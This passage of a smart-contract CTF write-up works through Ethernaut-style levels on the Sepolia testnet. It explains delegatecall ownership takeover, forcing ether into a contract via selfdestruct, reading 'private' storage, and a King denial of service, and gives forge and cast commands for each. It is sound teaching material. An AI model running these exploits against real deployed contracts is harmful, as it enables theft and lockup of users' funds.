</code></pre><p>in our attack we will use <code>call(abi.encodeWithSignature(&quot;pwn()&quot;)</code> to trigger <code>fallback()</code> and become <code>owner</code>.</p><p>this is also equivalent to the <code>eth</code> call <code>sendTransaction()</code>:</p><pre data-type="codeBlock" text="sendTransaction({ 
    to: contract.address, 
    data: web3.eth.abi.encodeFunctionSignature(&quot;pwn()&quot;), 
    from: hackerAddress
 })
"><code>sendTransaction({ 
    to: <span class="hljs-keyword">contract</span>.<span class="hljs-built_in">address</span>, 
    data: web3.eth.abi.encodeFunctionSignature(<span class="hljs-string">"pwn()"</span>), 
    <span class="hljs-keyword">from</span>: hackerAddress
 })
</code></pre><hr><h3 id="h-solution" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">solution</h3><p>check <code>test/06/Delegation.t.sol</code>:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/13152b221a6e4a1edd108a4f974119331dec139b3f24ce63ea93c09b2483839b.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>run:</p><pre data-type="codeBlock" text="&gt; forge test --match-contract DelegationTest -vvvv    
"><code><span class="hljs-operator">></span> forge test <span class="hljs-operator">-</span><span class="hljs-operator">-</span>match<span class="hljs-operator">-</span><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">DelegationTest</span> -<span class="hljs-title">vvvv</span>    
</span></code></pre><p>submit with <code>script/06/Delegation.s.sol</code>:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/e447d078f0b7a026e9f13477d4affa1b542dde99358f2f3c2215650b78b9974b.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>by running:</p><pre data-type="codeBlock" text="&gt; forge script ./script/06/Delegation.s.sol \ 
                --broadcast -vvvv \ 
                --rpc-url sepolia
"><code><span class="hljs-operator">></span> forge script ./script<span class="hljs-operator">/</span>06<span class="hljs-operator">/</span>Delegation.s.sol \ 
                <span class="hljs-operator">-</span><span class="hljs-operator">-</span>broadcast <span class="hljs-operator">-</span>vvvv \ 
                <span class="hljs-operator">-</span><span class="hljs-operator">-</span>rpc<span class="hljs-operator">-</span>url sepolia
</code></pre><hr><h3 id="h-alternative-solution-using-cast" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">alternative solution using <code>cast</code></h3><p>get <code>methodId</code> for <code>pwn()</code>:</p><pre data-type="codeBlock" text="&gt; cast calldata &apos;pwn()&apos;
"><code><span class="hljs-operator">></span> cast <span class="hljs-keyword">calldata</span> <span class="hljs-string">'pwn()'</span>
</code></pre><p>use the result above to trigger <code>Delegation()</code> fallback function with a crafted <code>msg.data</code>:</p><pre data-type="codeBlock" text="&gt; cast send &lt;instance address&gt; &lt;calldata above&gt; \ 
                    --gas &lt;extra gas&gt; \ 
                    --private-key=&lt;private-key&gt; \ 
                    --rpc-url=&lt;sepolia url&gt; 
"><code><span class="hljs-operator">></span> cast send <span class="hljs-operator">&#x3C;</span>instance <span class="hljs-keyword">address</span><span class="hljs-operator">></span> <span class="hljs-operator">&#x3C;</span><span class="hljs-keyword">calldata</span> above<span class="hljs-operator">></span> \ 
                    <span class="hljs-operator">-</span><span class="hljs-operator">-</span>gas <span class="hljs-operator">&#x3C;</span>extra gas<span class="hljs-operator">></span> \ 
                    <span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-keyword">private</span><span class="hljs-operator">-</span>key<span class="hljs-operator">=</span><span class="hljs-operator">&#x3C;</span><span class="hljs-keyword">private</span><span class="hljs-operator">-</span>key<span class="hljs-operator">></span> \ 
                    <span class="hljs-operator">-</span><span class="hljs-operator">-</span>rpc<span class="hljs-operator">-</span>url<span class="hljs-operator">=</span><span class="hljs-operator">&#x3C;</span>sepolia url<span class="hljs-operator">></span> 
</code></pre><h3 id="h-pwned" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">pwned...</h3><hr><h2 id="h-1001-exploiting-payable-contracts" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">1001. exploiting payable contracts</h2><p>this challenge’s contract has no code…</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/5383b98c44c722f29c85ef8a24eac7865cb4c11e9dc3e8a10425d8a4812e1f0d.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>in fact, this challenge exploits smart contract invariants, and how total balance is not a good invariant.</p><p>contract invariants are properties of the program state that are expected to always be true. for instance, the value of <code>owner</code> state variable, the total token supply, etc., should always remain the same.</p><p>a state in the blockchain is considered valid when the contract-specific invariants hold true.</p><p>in this challenge, we need to find a way to forcefully send <code>ether</code> to a contract that does not explicitly contain a <code>payable</code>, a <code>receive()</code>, or a <code>fallback()</code> function.</p><p>there are two ways this can be done when the destination contract is already deployed:</p><ul><li><p>by using <code>coinbase</code> transactions or block rewards (like MEV searchers and validators rewards)</p></li><li><p>by leveraging (<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://ethereum-magicians.org/t/deprecate-selfdestruct/11907"><strong>the now being deprecated</strong></a>) <code>selfdestruct(address)</code>, which allows contracts to receive <code>ether</code> from other contracts.</p><ul><li><p>all the <code>ether</code> stored in the calling contract is transferred to <code>address</code> (and since this happens at the EVM level, there is no way for the receiver to prevent it).</p></li><li><p><code>selfdestruct()</code> can be considered a garbage collection to clean up voided contracts (and it consumes negative gas).</p></li></ul></li></ul><hr><h3 id="h-solution" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">solution</h3><p>we craft a very simple exploit, located at <code>src/07/ForceExploit.sol</code>:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/e7667b01c1f2cb4b3013e8272bbaf7316195e6030a01eb6347319310cb62390e.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>and test it with <code>test/07/Force.t.sol</code>:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/b5c67e440fa0eee1b8c8995804109266b58c6d9980fec6b65c8adcc1e62db933.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>running:</p><pre data-type="codeBlock" text="&gt; forge test --match-contract ForceTest -vvvv    
"><code><span class="hljs-operator">></span> forge test <span class="hljs-operator">-</span><span class="hljs-operator">-</span>match<span class="hljs-operator">-</span><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">ForceTest</span> -<span class="hljs-title">vvvv</span>    
</span></code></pre><p>then, we submit the solution with <code>script/07/Force.s.sol</code>:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/d5782dedc2fd9f0968e897b69e6b4163caf8a3e516d83cf7f7a7b3bfb9e74a3d.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>by running:</p><pre data-type="codeBlock" text="&gt; forge script ./script/07/Force.s.sol --broadcast -vvvv --rpc-url sepolia
"><code><span class="hljs-operator">></span> forge script ./script<span class="hljs-operator">/</span>07<span class="hljs-operator">/</span>Force.s.sol <span class="hljs-operator">-</span><span class="hljs-operator">-</span>broadcast <span class="hljs-operator">-</span>vvvv <span class="hljs-operator">-</span><span class="hljs-operator">-</span>rpc<span class="hljs-operator">-</span>url sepolia
</code></pre><h3 id="h-pwned" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">pwned...</h3><hr><h3 id="h-alternative-solution-using-cast" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">alternative solution using <code>cast</code></h3><p>deploy the exploit with:</p><pre data-type="codeBlock" text="&gt; forge create src/07/ForceExploit.sol:ForceExploit \ 
                --constructor-args=&lt;level address&gt; \ 
                --private-key=&lt;private-key&gt; \ 
                --rpc-url=&lt;sepolia url&gt; 
"><code><span class="hljs-operator">></span> forge create src<span class="hljs-operator">/</span>07<span class="hljs-operator">/</span>ForceExploit.sol:ForceExploit \ 
                <span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-function"><span class="hljs-keyword">constructor</span>-<span class="hljs-title">args</span>=&#x3C;<span class="hljs-title">level</span> <span class="hljs-title"><span class="hljs-keyword">address</span></span>> \ 
                --<span class="hljs-title"><span class="hljs-keyword">private</span></span>-<span class="hljs-title">key</span>=&#x3C;<span class="hljs-title"><span class="hljs-keyword">private</span></span>-<span class="hljs-title">key</span>> \ 
                --<span class="hljs-title">rpc</span>-<span class="hljs-title">url</span>=&#x3C;<span class="hljs-title">sepolia</span> <span class="hljs-title">url</span>> 
</span></code></pre><p>then call the contract with:</p><pre data-type="codeBlock" text="&gt; cast send &lt;deployed address&gt; \ 
                --value 0.0005ether \ 
                --private-key=&lt;private-key&gt; \ 
                --rpc-url=&lt;sepolia url&gt; 
"><code><span class="hljs-operator">></span> cast send <span class="hljs-operator">&#x3C;</span>deployed <span class="hljs-keyword">address</span><span class="hljs-operator">></span> \ 
                <span class="hljs-operator">-</span><span class="hljs-operator">-</span>value <span class="hljs-number">0</span>.0005ether \ 
                <span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-keyword">private</span><span class="hljs-operator">-</span>key<span class="hljs-operator">=</span><span class="hljs-operator">&#x3C;</span><span class="hljs-keyword">private</span><span class="hljs-operator">-</span>key<span class="hljs-operator">></span> \ 
                <span class="hljs-operator">-</span><span class="hljs-operator">-</span>rpc<span class="hljs-operator">-</span>url<span class="hljs-operator">=</span><span class="hljs-operator">&#x3C;</span>sepolia url<span class="hljs-operator">></span> 
</code></pre><hr><h2 id="h-1010-exploiting-private-functions" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">1010. exploiting private functions</h2><p>this challenge explores the fact that if a state variable is declared <code>private</code>, it&apos;s only hidden from other contracts (<em>i.e.</em>, it&apos;s private within the contract&apos;s scope).</p><p>this is the vulnerable contract:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/72902eaf7db0948ff928c0ba51176533b8cd38136adac1f2fc983d905e4c71af.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>in other words, a <code>private</code> variable&apos;s value is still recorded in the blockchain and is open to anyone who understands how the memory is organized.</p><p>remember that <code>public</code> and <code>private</code> are visibility modifiers, while <code>pure</code> and <code>view</code> are state modifiers.</p><p>a great explanation about <strong>solidity function visibility</strong> can be found on <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://solidity-by-example.org/visibility/"><strong>solidity by example</strong></a>.</p><p>before we start, it&apos;s worth talking about the four ways the EVM stores data, depending on their context.</p><p>firstly, there is the <strong>key-value stack</strong>, where you can <code>POP</code>, <code>PUSH</code> , <code>DUP1</code>, or <code>POP</code> data.</p><ul><li><p>basically, the EVM is a stack machine, as it does not operate on registers but on a virtual stack with a size limit <code>1024</code>.</p></li><li><p>stack items (both keys and values) have a size of <code>32-bytes</code> (or <code>256-bit</code>), so the EVM is a <code>256-bit</code> word machine (facilitating, for instance, <code>keccak256</code> hash scheme and elliptic-curve computations).</p></li></ul><p>secondly, there is the <strong>byte-array memory (RAM)</strong>, used to store data during execution (such as passing arguments to internal functions).</p><ul><li><p>opcodes are <code>MSTORE</code>, <code>MLOAD</code>, or <code>MSTORE8</code>.</p></li></ul><p>third, there is the <strong>calldata</strong> (which can be accessed through <code>msg.data</code>), a read-only byte-addressable space for the data parameter of a transaction or call.</p><ul><li><p>unlike the stack, this data is accessed by specifying the exact byte offset and the number of bytes to read.</p></li><li><p>opcodes are <code>CALLDATACOPY</code>, which copies a number of bytes of the transaction to memory, <code>CALLDATASIZE</code>, and <code>CALLDATALOAD</code>.</p></li></ul><p>lastly, there is <strong>disk storage</strong>, a persistent read-write word-addressable space, where each contract stores persistent information (and where state variables live), and is represented by a mapping of <code>2^{256}</code> slots of <code>32 bytes</code> each.</p><ul><li><p>the opcode <code>SSTORE</code> is used to store data and <code>SLOAD</code> to load.</p></li></ul><hr><h3 id="h-discussion" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">discussion</h3><p>the first thing we see in the contract is the two state variables set as <code>private</code>.</p><p>in particular, <code>password</code> is declared as <code>byte32</code>, which makes this problem even simpler (hint: remember that <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.soliditylang.org/en/v0.8.21/internals/layout_in_storage.html"><strong>the EVM operates on 32 bytes at a time</strong></a>):</p><pre data-type="codeBlock" text="bool private locked; 
bytes32 private password;
"><code><span class="hljs-keyword">bool</span> <span class="hljs-keyword">private</span> locked; 
<span class="hljs-keyword">bytes32</span> <span class="hljs-keyword">private</span> password;
</code></pre><p>looking at the constructor, we see that <code>password</code> is given as input by whoever deploys this contract (and also setting the variable <code>locked</code> to <code>True</code>):</p><pre data-type="codeBlock" text="constructor(bytes32 _password) {
    locked = true;
    password = _password;
  }
"><code>constructor(bytes32 _password) {
    <span class="hljs-attr">locked</span> = <span class="hljs-literal">true</span><span class="hljs-comment">;</span>
    <span class="hljs-attr">password</span> = _password<span class="hljs-comment">;</span>
  }
</code></pre><p>finally, we look at the only function in the contract: it &quot;unlocks&quot; <code>locked</code> when given the correct password:</p><pre data-type="codeBlock" text="function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
}
"><code><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">unlock</span>(<span class="hljs-params"><span class="hljs-keyword">bytes32</span> _password</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    <span class="hljs-keyword">if</span> (password <span class="hljs-operator">=</span><span class="hljs-operator">=</span> _password) {
      locked <span class="hljs-operator">=</span> <span class="hljs-literal">false</span>;
    }
}
</code></pre><p>there are many ways to solve this exercise, but the theory is the same: each smart contract has its own storage reflecting the state of the contract, which is divided into 32-byte slots.</p><p>a first approach is simply to call the <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://web3js.readthedocs.io/en/v1.2.9/web3-eth.html#getstorageat"><strong>well-known API</strong></a>  <code>web3.eth.getStorageAt(contractAddress, slotNumber)</code>, as we know the contract address and that <code>password</code> is on slot number <code>1</code>:</p><pre data-type="codeBlock" text="&gt; await web3.eth.getStorageAt(&quot;&lt;contract address&gt;, 1&quot;)
"><code><span class="hljs-operator">></span> await web3.eth.getStorageAt(<span class="hljs-string">"&#x3C;contract address>, 1"</span>)
</code></pre><p>however, we use a more formal approach that leverages <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://book.getfoundry.sh/cheatcodes/load?highlight=vm.load#examples"><strong>foundry&apos;s</strong></a> <code>vm.load()</code> method:</p><pre data-type="codeBlock" text="function load(address account, bytes32 slot) external returns (bytes32);
"><code><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">load</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> account, <span class="hljs-keyword">bytes32</span> slot</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bytes32</span></span>)</span>;
</code></pre><p>in particular, foundry&apos;s <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://book.getfoundry.sh/reference/forge-std/std-storage"><strong>std storage library</strong></a> is a great util to manipulate storage.</p><p>from the foundry book, here is an illustration of how <code>vm.load()</code> works:</p><pre data-type="codeBlock" text="contract LeetContract {
     uint256 private leet = 1337; // slot 0
}

bytes32 leet = vm.load(address(leetContract), bytes32(uint256(0)));
emit log_uint(uint256(leet)); // 1337
"><code><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">LeetContract</span> </span>{
     <span class="hljs-keyword">uint256</span> <span class="hljs-keyword">private</span> leet <span class="hljs-operator">=</span> <span class="hljs-number">1337</span>; <span class="hljs-comment">// slot 0</span>
}

<span class="hljs-keyword">bytes32</span> leet <span class="hljs-operator">=</span> vm.load(<span class="hljs-keyword">address</span>(leetContract), <span class="hljs-keyword">bytes32</span>(<span class="hljs-keyword">uint256</span>(<span class="hljs-number">0</span>)));
<span class="hljs-keyword">emit</span> log_uint(<span class="hljs-keyword">uint256</span>(leet)); <span class="hljs-comment">// 1337</span>
</code></pre><hr><h3 id="h-solution" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">solution</h3><p>check <code>test/08/Vault.t.sol</code>:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/3ed6115b4759187f418b721bbd1d7fc9db392a5e1866ed373a151b2716f4ec5d.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>run the test with:</p><pre data-type="codeBlock" text="&gt; forge test --match-contract VaultTest -vvvv    
"><code><span class="hljs-operator">></span> forge test <span class="hljs-operator">-</span><span class="hljs-operator">-</span>match<span class="hljs-operator">-</span><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">VaultTest</span> -<span class="hljs-title">vvvv</span>    
</span></code></pre><p>then submit the solution with <code>script/08/Vault.s.sol</code>:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/fea3d580cdbc1797ba0158623e40202ef50ba4718458b7acaf8604f49e3279ab.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>by running:</p><pre data-type="codeBlock" text="&gt; forge script ./script/08/Vault.s.sol --broadcast -vvvv --rpc-url sepolia
"><code><span class="hljs-operator">></span> forge script ./script<span class="hljs-operator">/</span>08<span class="hljs-operator">/</span>Vault.s.sol <span class="hljs-operator">-</span><span class="hljs-operator">-</span>broadcast <span class="hljs-operator">-</span>vvvv <span class="hljs-operator">-</span><span class="hljs-operator">-</span>rpc<span class="hljs-operator">-</span>url sepolia
</code></pre><h3 id="h-pwned" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">pwned...</h3><hr><h3 id="h-alternative-solution-using-cast" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">alternative solution using <code>cast</code></h3><p>get the password with:</p><pre data-type="codeBlock" text="&gt; cast storage &lt;contract address&gt; 1 \ 
              --private-key=&lt;private-key&gt; \ 
              --rpc-url=&lt;sepolia url&gt; 
"><code><span class="hljs-operator">></span> cast <span class="hljs-keyword">storage</span> <span class="hljs-operator">&#x3C;</span><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title"><span class="hljs-keyword">address</span></span>> 1 \ 
              --<span class="hljs-title"><span class="hljs-keyword">private</span></span>-<span class="hljs-title">key</span>=&#x3C;<span class="hljs-title"><span class="hljs-keyword">private</span></span>-<span class="hljs-title">key</span>> \ 
              --<span class="hljs-title">rpc</span>-<span class="hljs-title">url</span>=&#x3C;<span class="hljs-title">sepolia</span> <span class="hljs-title">url</span>> 
</span></code></pre><p>run in the console:</p><pre data-type="codeBlock" text="&gt; await contract.unlock(&lt;password&gt;)
"><code><span class="hljs-operator">></span> await <span class="hljs-keyword">contract</span>.unlock(<span class="hljs-operator">&#x3C;</span>password<span class="hljs-operator">></span>)
</code></pre><h3 id="h-" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0"></h3><hr><h2 id="h-1011-exploiting-transfermsgvalue" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">1011. exploiting transfer(msg.value)</h2><p>the <code>King</code> contract represents <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.kingoftheether.com/postmortem.html"><strong>a simple ponzi</strong></a> where whoever sends the largest amount of <code>ether</code> (larger than the current <code>prize</code> value) becomes the new king.</p><p>in this event, the previous king gets paid the new prize.</p><p>here is the vulnerable contract:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/dc4b5591eb160af9742555e4ac71cc6cc9f575633a0ce9acfe9f164636554456.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>the vulnerability lies on the fact that the contract trusts the external input of <code>msg.value</code> when running <code>transfer(msg.value)</code>. it assumes that the king is an EOA, which could also be a contract.</p><p>our goal is to explore this vulnerability to not let anyone else become the king.</p><hr><h3 id="h-discussion" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">discussion</h3><p>the <code>King</code> contract starts with three state variables that are set in the constructor:</p><pre data-type="codeBlock" text="  address king;
  uint public prize;
  address public owner;

  constructor() payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }
"><code>  <span class="hljs-keyword">address</span> king;
  <span class="hljs-keyword">uint</span> <span class="hljs-keyword">public</span> prize;
  <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> owner;

  <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
    owner <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>;  
    king <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>;
    prize <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span>;
  }
</code></pre><p><code>king</code> is initially the person who deployed the contract and sets <code>prize</code> (the current value to be bet by someone to become <code>king</code>). the only requirement is that the <code>ether</code> sent to the contract must be larger than <code>prize</code>.</p><p>following we have the <code>receive()</code> function and a getter for <code>king</code>. to become a <code>king</code> one needs to either be <code>owner</code> or send a value for <code>prize</code> larger than its current. since we didn&apos;t deploy the contract, the first option is not available:</p><pre data-type="codeBlock" text="  receive() external payable {
    require(msg.value &gt;= prize || msg.sender == owner);
    payable(king).transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address) {
    return king;
  }
"><code>  <span class="hljs-function"><span class="hljs-keyword">receive</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
    <span class="hljs-built_in">require</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span> <span class="hljs-operator">></span><span class="hljs-operator">=</span> prize <span class="hljs-operator">|</span><span class="hljs-operator">|</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> owner);
    <span class="hljs-keyword">payable</span>(king).<span class="hljs-built_in">transfer</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span>);
    king <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>;
    prize <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span>;
  }

  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_king</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">address</span></span>) </span>{
    <span class="hljs-keyword">return</span> king;
  }
</code></pre><p>looking at <code>receive()</code>, we see that after we send enough <code>prize</code>, a <code>payable</code> function is triggered to pay <code>prize</code> to the previous <code>king</code>.</p><p>it uses <code>transfer(address)</code>, which sends the amount of <code>wei</code> to <code>address</code>, throwing an error on failure.</p><p>sending <code>ether</code> to EOAs is usually performed via <code>transfer()</code> method, but remember that there are a few ways of performing external calls in solidity. the <code>send()</code> function also consumes <code>2300</code> gas, but returns a <code>bool</code>.</p><p>finally, the <code>call()</code> function and the <code>CALL</code> opcode can be directly employed, forwarding all gas and returning a <code>bool</code>.</p><p>in addition, note that this contract has no error handling, so an obvious security issue is <strong>unchecked call return values</strong>.</p><p>in other words, each time a contract sends <code>ether</code> to another, it depends on the other contract’s code to handle the transaction and determine its success.</p><p>for instance, the contract might not have a <code>payable</code> <code>fallback()</code>, or have a malicious <code>fallback()</code> or <code>payable</code> function.</p><p>if the new <code>king</code> is a contract address instead of a EOA, it could redirect <code>transfer()</code> and revert its transaction, skipping the execution of the next lines:</p><pre data-type="codeBlock" text="king = msg.sender;
prize = msg.value;
"><code>king <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>;
prize <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span>;
</code></pre><hr><h3 id="h-solution" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">solution</h3><p>we write our exploit at <code>src/09/KingExploit.sol</code>.</p><p>note that the <code>fallback()</code> is optional for winning the challenge, but we add it here to make very clear the point that no <code>eth</code> should be sent (<em>i.e.</em>, there won&apos;t be a new king):</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/1db041ca3b77c96bd8ef74b17db286387ea03e275bc94195df3503864efc54ea.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>we test this script with <code>test/09/King.t.sol</code>:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/0156a4c5f894d17511484f7216c314d727088b10c41ae80d47caffa589348268.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>running with:</p><pre data-type="codeBlock" text="&gt; forge test --match-contract KingTest -vvvv    
"><code><span class="hljs-operator">></span> forge test <span class="hljs-operator">-</span><span class="hljs-operator">-</span>match<span class="hljs-operator">-</span><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">KingTest</span> -<span class="hljs-title">vvvv</span>    
</span></code></pre><p>then, we craft the submission script at <code>script/09/King.s.sol</code>:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/4a5cd6fc4f65022da352e26801cc9cdf7102e3acccab3b6379c782a8edb29776.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>and finish the problem running:</p><pre data-type="codeBlock" text="&gt; forge script ./script/09/King.s.sol --broadcast -vvvv --rpc-url sepolia
"><code><span class="hljs-operator">></span> forge script ./script<span class="hljs-operator">/</span>09<span class="hljs-operator">/</span>King.s.sol <span class="hljs-operator">-</span><span class="hljs-operator">-</span>broadcast <span class="hljs-operator">-</span>vvvv <span class="hljs-operator">-</span><span class="hljs-operator">-</span>rpc<span class="hljs-operator">-</span>url sepolia
</code></pre><h3 id="h-pwned" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">pwned...</h3><hr><h3 id="h-alternative-solution-using-cast" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">alternative solution using <code>cast</code></h3><p>deploy the exploit with:</p><pre data-type="codeBlock" text="&gt; forge create src/09/KingExploit.sol:Contract \ 
              --constructor-args=&lt;level address&gt; \ 
              --private-key=&lt;private-key&gt; \ 
              --rpc-url=&lt;sepolia url&gt; --value 1000000000000000wei
"><code><span class="hljs-operator">></span> forge create src<span class="hljs-operator">/</span>09<span class="hljs-operator">/</span>KingExploit.sol:Contract \ 
